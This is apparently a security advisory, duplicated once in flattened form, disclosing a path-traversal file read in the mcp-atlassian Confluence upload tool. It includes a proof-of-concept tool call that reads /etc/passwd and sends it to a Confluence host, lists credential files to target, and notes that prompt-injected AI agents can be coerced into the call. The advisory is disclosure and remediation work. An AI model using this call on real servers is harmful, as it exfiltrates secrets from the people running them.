Summary
mcp-atlassian exposes an MCP tool confluence_upload_attachment whose file_path argument is passed directly to open(file_path, "rb") without any path validation. An attacker able to invoke the tool can read arbitrary files readable by the server process and exfiltrate them into a multipart upload directed at an attacker-controlled Confluence host. In the default streamable-http transport the server binds 0.0.0.0 with no built-in authentication, making this remotely exploitable without credentials.
This is the read-side symmetric twin of GHSA-xjgw-4wvw-rgm4 / CVE-2026-27825 (fixed in v0.17.0). The v0.17.0 patch only covered the download/write path; the upload path that reads local files was left unguarded.
Details
Vulnerable sink
src/mcp_atlassian/confluence/attachments.py:477
with open(file_path, "rb") as fp:
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
file_path is attacker-controlled end-to-end.
Taint source
src/mcp_atlassian/servers/confluence.py:1290-1369, tool definition at :1307:
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
No Pydantic pattern=, no validator, no validate_safe_path() call.
Call chain
- MCP client invokes
confluence_upload_attachment(page_id, file_path, ...)
- Server handler forwards to
ConfluenceFetcher.upload_attachment(file_path)
_upload_attachment_direct(file_path) calls open(file_path, "rb")
- File bytes are streamed in the multipart body of
POST /wiki/rest/api/content/{page_id}/child/attachment to the configured Confluence base URL — which the attacker also controls (they provided CONFLUENCE_URL via env/config or target a server they already control).
Asymmetry with the patched download path
attachments.py:223 (download) — calls validate_safe_path(local_path) before open(..., "wb")
attachments.py:272 (download) — calls validate_safe_path(local_path) before open(..., "wb")
attachments.py:477 (upload) — no validation
The check_write_access decorator does not help: it only gates READ_ONLY_MODE (default false) and is unrelated to filesystem path safety.
Default exposure
src/mcp_atlassian/__init__.py:151 and :360 — default transport is streamable-http binding HOST=0.0.0.0 with no auth layer. Any network-reachable attacker can call MCP tools directly.
Severity
Primary (default streamable-http deployment)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Score: 9.3 Critical
- Rationale: network-reachable, unauthenticated, scope-changed because files outside the MCP server's intended resource boundary (Confluence attachments) are exfiltrated.
Alternative (stdio-only deployment, conservative)
- Vector:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Score: 6.6 High
- Rationale: local attacker controlling the MCP client context.
Maintainer should pick the vector that reflects the documented default deployment.
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected
- Product:
sooperset/mcp-atlassian
- Affected versions: >= 0.17.0, <= HEAD (
d8bc78698a63cb6b321c7ca796d6329d448f7f6d)
- Note: v0.17.0 is the fix commit for GHSA-xjgw-4wvw-rgm4 but only addressed the write-side. This read-side twin has existed since that release and remains unpatched on
main.
- Patched versions: none at time of disclosure
Proof of Concept
Fully reproduced twice end-to-end against a local stdlib HTTP stub acting as the Confluence API, driven by a real MCP stdio client (mcp.ClientSession + stdio_client) spawning the unmodified mcp-atlassian server at HEAD.
Permalinks (commit-pinned)
Reproduction
- Start mock Confluence stub:
python mock_confluence.py (binds 127.0.0.1:8443, logs all multipart bodies)
- Launch MCP client against real
mcp-atlassian server over stdio with CONFLUENCE_URL=http://127.0.0.1:8443
- Call tool:
{
"name": "confluence_upload_attachment",
"arguments": {
"page_id": "123456",
"file_path": "/etc/passwd",
"comment": "poc"
}
}
Run 1 — /etc/passwd
- MCP response:
isError=False, {"message": "Attachment uploaded successfully"}
- Stub captured 3339-byte multipart body containing:
root:x:0:0:root:/root:/bin/bash (and full passwd contents)
Run 2 — /etc/hostname
- MCP response:
isError=False, same success envelope
- Stub captured 380-byte body containing:
ang3l-pc
Both runs used unmodified server code at commit d8bc78698a63cb6b321c7ca796d6329d448f7f6d. PoC artifacts (mock_confluence.py, mcp_client.py, poc_run1.sh, poc_run2.sh, asymmetry.txt, ENVIRONMENT.md) available on request to maintainers via this advisory thread.
Impact
- Arbitrary file read of anything readable by the server process UID:
/etc/passwd, /etc/shadow (if running as root in container), ~/.aws/credentials, ~/.ssh/id_rsa, .env files, kube service-account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, application source, database dumps, private keys.
- Exfiltration is covert: file bytes transit to the attacker's configured Confluence host inside a normal-looking multipart upload. No error surface; the tool returns success.
- In the default
streamable-http 0.0.0.0 deployment, no credentials are required.
- Chains trivially with any AI agent that exposes this MCP server to untrusted prompt input — a prompt-injected assistant can be coerced into calling the tool with a sensitive path.
GHSA-xjgw-4wvw-rgm4 (CVSS 9.1, fixed in v0.17.0) addressed an arbitrary file write in the same attachments.py module: attacker-controlled paths reaching open(..., "wb") on the download side. The fix introduced validate_safe_path() and applied it at lines 223 and 272.
The upload-side counterpart at line 477 was not updated. Same module, same maintainer, same class of bug (unchecked path → open()), opposite direction (read vs write). This advisory reports the incomplete-fix twin.
Remediation
Required
Call validate_safe_path(file_path) at the top of ConfluenceFetcher.upload_attachment and _upload_attachment_direct in src/mcp_atlassian/confluence/attachments.py, mirroring the download path at lines 223 and 272. Reject absolute paths outside a configurable allow-listed upload directory and reject any path containing .. after normalization.
Defense in depth
Tighten the Pydantic tool schema at src/mcp_atlassian/servers/confluence.py:1307:
file_path: Annotated[
str,
Field(
description="Relative path within the configured upload directory",
pattern=r"^(?!/)(?!.*\.\.)[\w\-./]+$",
),
]
This blocks absolute paths and .. at the MCP schema layer before the handler is even entered.
Additional hardening (out of scope but recommended)
- Default
streamable-http to 127.0.0.1 instead of 0.0.0.0, or require an auth token when bound to a non-loopback interface.
- Document that
file_path must be confined to an operator-chosen directory and expose that directory via config.
References
Summary
mcp-atlassianexposes an MCP toolconfluence_upload_attachmentwhosefile_pathargument is passed directly toopen(file_path, "rb")without any path validation. An attacker able to invoke the tool can read arbitrary files readable by the server process and exfiltrate them into a multipart upload directed at an attacker-controlled Confluence host. In the defaultstreamable-httptransport the server binds0.0.0.0with no built-in authentication, making this remotely exploitable without credentials.This is the read-side symmetric twin of GHSA-xjgw-4wvw-rgm4 / CVE-2026-27825 (fixed in v0.17.0). The v0.17.0 patch only covered the download/write path; the upload path that reads local files was left unguarded.
Details
Vulnerable sink
src/mcp_atlassian/confluence/attachments.py:477file_pathis attacker-controlled end-to-end.Taint source
src/mcp_atlassian/servers/confluence.py:1290-1369, tool definition at:1307:No Pydantic
pattern=, no validator, novalidate_safe_path()call.Call chain
confluence_upload_attachment(page_id, file_path, ...)ConfluenceFetcher.upload_attachment(file_path)_upload_attachment_direct(file_path)callsopen(file_path, "rb")POST /wiki/rest/api/content/{page_id}/child/attachmentto the configured Confluence base URL — which the attacker also controls (they providedCONFLUENCE_URLvia env/config or target a server they already control).Asymmetry with the patched download path
attachments.py:223(download) — callsvalidate_safe_path(local_path)beforeopen(..., "wb")attachments.py:272(download) — callsvalidate_safe_path(local_path)beforeopen(..., "wb")attachments.py:477(upload) — no validationThe
check_write_accessdecorator does not help: it only gatesREAD_ONLY_MODE(defaultfalse) and is unrelated to filesystem path safety.Default exposure
src/mcp_atlassian/__init__.py:151and:360— default transport isstreamable-httpbindingHOST=0.0.0.0with no auth layer. Any network-reachable attacker can call MCP tools directly.Severity
Primary (default
streamable-httpdeployment)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NAlternative (stdio-only deployment, conservative)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NMaintainer should pick the vector that reflects the documented default deployment.
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected
sooperset/mcp-atlassiand8bc78698a63cb6b321c7ca796d6329d448f7f6d)main.Proof of Concept
Fully reproduced twice end-to-end against a local stdlib HTTP stub acting as the Confluence API, driven by a real MCP stdio client (
mcp.ClientSession+stdio_client) spawning the unmodifiedmcp-atlassianserver at HEAD.Permalinks (commit-pinned)
Reproduction
python mock_confluence.py(binds127.0.0.1:8443, logs all multipart bodies)mcp-atlassianserver over stdio withCONFLUENCE_URL=http://127.0.0.1:8443{ "name": "confluence_upload_attachment", "arguments": { "page_id": "123456", "file_path": "/etc/passwd", "comment": "poc" } }Run 1 —
/etc/passwdisError=False,{"message": "Attachment uploaded successfully"}root:x:0:0:root:/root:/bin/bash(and full passwd contents)Run 2 —
/etc/hostnameisError=False, same success envelopeang3l-pcBoth runs used unmodified server code at commit
d8bc78698a63cb6b321c7ca796d6329d448f7f6d. PoC artifacts (mock_confluence.py,mcp_client.py,poc_run1.sh,poc_run2.sh,asymmetry.txt,ENVIRONMENT.md) available on request to maintainers via this advisory thread.Impact
/etc/passwd,/etc/shadow(if running as root in container),~/.aws/credentials,~/.ssh/id_rsa,.envfiles, kube service-account tokens at/var/run/secrets/kubernetes.io/serviceaccount/token, application source, database dumps, private keys.streamable-http0.0.0.0 deployment, no credentials are required.Relationship to GHSA-xjgw-4wvw-rgm4 (CVE-2026-27825)
GHSA-xjgw-4wvw-rgm4 (CVSS 9.1, fixed in v0.17.0) addressed an arbitrary file write in the same
attachments.pymodule: attacker-controlled paths reachingopen(..., "wb")on the download side. The fix introducedvalidate_safe_path()and applied it at lines 223 and 272.The upload-side counterpart at line 477 was not updated. Same module, same maintainer, same class of bug (unchecked path →
open()), opposite direction (read vs write). This advisory reports the incomplete-fix twin.Remediation
Required
Call
validate_safe_path(file_path)at the top ofConfluenceFetcher.upload_attachmentand_upload_attachment_directinsrc/mcp_atlassian/confluence/attachments.py, mirroring the download path at lines 223 and 272. Reject absolute paths outside a configurable allow-listed upload directory and reject any path containing..after normalization.Defense in depth
Tighten the Pydantic tool schema at
src/mcp_atlassian/servers/confluence.py:1307:This blocks absolute paths and
..at the MCP schema layer before the handler is even entered.Additional hardening (out of scope but recommended)
streamable-httpto127.0.0.1instead of0.0.0.0, or require an auth token when bound to a non-loopback interface.file_pathmust be confined to an operator-chosen directory and expose that directory via config.References